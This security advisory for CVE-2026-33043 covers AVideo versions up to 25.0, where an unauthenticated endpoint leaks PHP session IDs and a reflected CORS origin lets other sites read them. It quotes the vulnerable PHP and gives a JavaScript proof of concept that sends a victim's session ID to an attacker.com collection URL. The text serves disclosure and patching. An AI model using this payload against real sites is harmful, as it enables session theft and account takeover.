GHSA-QC3P-398R-P59J

Vulnerability from github – Published: 2026-03-17 19:52 – Updated: 2026-03-20 21:23
VLAI?
Summary
AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS
Details

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php

allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);

No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:

$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");

This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:

<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.

Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T19:52:28Z",
    "nvd_published_at": "2026-03-20T06:16:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj-\u003ephpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER[\u0027HTTP_ORIGIN\u0027]) ? @$_SERVER[\u0027HTTP_REFERER\u0027] : $_SERVER[\u0027HTTP_ORIGIN\u0027];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\u003cscript\u003e\nfetch(\u0027https://TARGET/objects/phpsessionid.json.php\u0027, {\n  credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(d =\u003e {\n  // d.phpsessid = victim\u0027s session ID\n  document.location = \u0027https://attacker.com/steal?sid=\u0027 + d.phpsessid;\n});\n\u003c/script\u003e\n```\n\nWhen a logged-in AVideo user visits the attacker\u0027s page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** \u2014 Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.",
  "id": "GHSA-qc3p-398r-p59j",
  "modified": "2026-03-20T21:23:00Z",
  "published": "2026-03-17T19:52:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33043"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.